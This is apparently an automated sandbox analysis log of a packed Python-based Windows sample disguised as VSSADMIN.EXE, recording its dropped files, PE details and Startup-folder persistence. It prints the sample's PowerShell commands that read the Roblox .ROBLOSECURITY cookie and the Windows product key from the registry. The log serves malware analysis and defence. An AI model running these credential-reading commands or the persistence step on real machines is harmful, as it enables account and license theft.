Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI68562

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe

Code function: 59_2_00007FF6EE753144 GetDiskFreeSpaceExW,

59_2_00007FF6EE753144

Source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6568:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4772:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6908:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6676:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5388:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5248:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7032:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6960:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6328:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5368:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6928:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6916:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1008:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6532:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3000:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5216:120:WilError_01
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Mutant created: \Sessions\1\BaseNamedObjects\5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4828:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6476:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6556:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6352:120:WilError_01

Source: VSSADMIN.EXE.exe	String found in binary or memory: set-addPolicy
Source: VSSADMIN.EXE.exe	String found in binary or memory: id-cmc-addExtensions
Source: VSSADMIN.EXE.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: VSSADMIN.EXE.exe	String found in binary or memory: --help
Source: VSSADMIN.EXE.exe	String found in binary or memory: --help
Source: VSSADMIN.EXE.exe	String found in binary or memory: command-line parameters (see --help for details): PYTHONDEBUG : enable parser debug mode (-d) PYTHONDONTWRITEBYTECODE : don't write .pyc files (-B) PYTHONINSPECT : inspect interactively after running script (-i) PYTHONINTMAXSTRDIGITS :
Source: VSSADMIN.EXE.exe	String found in binary or memory: command-line parameters (see --help for details): PYTHONDEBUG : enable parser debug mode (-d) PYTHONDONTWRITEBYTECODE : don't write .pyc files (-B) PYTHONINSPECT : inspect interactively after running script (-i) PYTHONINTMAXSTRDIGITS :

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: VSSADMIN.EXE.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: VSSADMIN.EXE.exe

Static file information: File size 7380816 > 1048576

Source: VSSADMIN.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: VSSADMIN.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: VSSADMIN.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: VSSADMIN.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: VSSADMIN.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: VSSADMIN.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: VSSADMIN.EXE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: VSSADMIN.EXE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.245837300.00007FFD43EF0000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: VSSADMIN.EXE.exe
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.pdb source: powershell.exe, 00000025.00000002.213633316.000001FB93A2A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: VSSADMIN.EXE.exe, 00000001.00000002.245935470.00007FFD43F76000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: VSSADMIN.EXE.exe, 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1u 30 May 2023built on: Wed May 31 23:27:41 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: VSSADMIN.EXE.exe, 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: VSSADMIN.EXE.exe, 00000000.00000003.187735351.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.246585404.00007FFD59301000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: VSSADMIN.EXE.exe, 00000000.00000003.187735351.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.246585404.00007FFD59301000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: 0.pdb(kD . source: powershell.exe, 00000025.00000002.224011476.000001FBAB192000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: VSSADMIN.EXE.exe, VSSADMIN.EXE.exe, 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmp, rar.exe, 0000003B.00000000.226038634.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.245659423.00007FFD402EB000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb source: VSSADMIN.EXE.exe, VSSADMIN.EXE.exe, 00000001.00000002.245935470.00007FFD43F76000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246494699.00007FFD592D1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.pdbhP source: powershell.exe, 00000025.00000002.213633316.000001FB93A2A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246395707.00007FFD59241000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246442794.00007FFD59271000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: VSSADMIN.EXE.exe, 00000001.00000002.246221693.00007FFD5269C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246354219.00007FFD55601000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246221693.00007FFD5269C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246310845.00007FFD52DF1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246171168.00007FFD507E1000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246126564.00007FFD449E1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: VSSADMIN.EXE.exe, VSSADMIN.EXE.exe, 00000001.00000002.246012635.00007FFD43FC1000.00000040.00000001.01000000.0000000E.sdmp

Source: VSSADMIN.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: VSSADMIN.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: VSSADMIN.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: VSSADMIN.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: VSSADMIN.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFBE840D push cs; iretd	8_2_00007FFCDFBE8412
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFBE0B45 push ds; iretd	8_2_00007FFCDFBE0B5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFBE81B8 push ebx; ret	8_2_00007FFCDFBE81DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFBE00BD pushad ; iretd	8_2_00007FFCDFBE00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB6014 pushad ; retf	8_2_00007FFCDFCB601A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB6004 pushad ; retf	8_2_00007FFCDFCB6012
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB63A1 push C0000063h; ret	8_2_00007FFCDFCB63C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB5349 push ebp; retf	8_2_00007FFCDFCB534A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB533F push ebx; retf	8_2_00007FFCDFCB5342
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB06A5 push es; retf	8_2_00007FFCDFCB06F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB6243 push C0000063h; ret	8_2_00007FFCDFCB63C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB5613 push esi; retf	8_2_00007FFCDFCB5632
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB5634 push edi; retf	8_2_00007FFCDFCB563A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB4DC3 push eax; retf	8_2_00007FFCDFCB4DDA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB15DD push ss; retf	8_2_00007FFCDFCB1632
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB4D88 push C000004Dh; ret	8_2_00007FFCDFCB4DC1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB0554 push es; retf	8_2_00007FFCDFCB055A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB5144 push ebx; retf	8_2_00007FFCDFCB514A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB5134 push ecx; retf	8_2_00007FFCDFCB5142
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB9934 pushfd ; retf	8_2_00007FFCDFCB994A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFCDFCB9CB1 pushfd ; retf	8_2_00007FFCDFCB9CB2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_00007FFCDFBE00BD pushad ; iretd	37_2_00007FFCDFBE00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_00007FFCDFCB15B9 push ss; retf	37_2_00007FFCDFCB15BA

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 1_2_00007FFD3FF45510 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_00007FFD3FF45510

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline

Source: VSSADMIN.EXE.exe	Static PE information: section name: _RDATA
Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: ???.scr.1.dr	Static PE information: section name: _RDATA

Source: libcrypto-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x124d75
Source: ozweafg0.dll.44.dr	Static PE information: real checksum: 0x0 should be: 0x2308
Source: VSSADMIN.EXE.exe	Static PE information: real checksum: 0x70c090 should be: 0x716ffa
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x4a227
Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x19e1b
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1784a
Source: libffi-8.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xa1d1
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x17418
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9ff17
Source: libssl-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x349c6
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xc985
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x15415
Source: ???.scr.1.dr	Static PE information: real checksum: 0x70c090 should be: 0x716ffa
Source: python311.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1a7f3d
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1f8c8
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xa12c
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x12345
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x23dc5
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1deb7

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr

Jump to dropped file

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr

Jump to dropped file

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\libssl-1_1.dll	Jump to dropped file
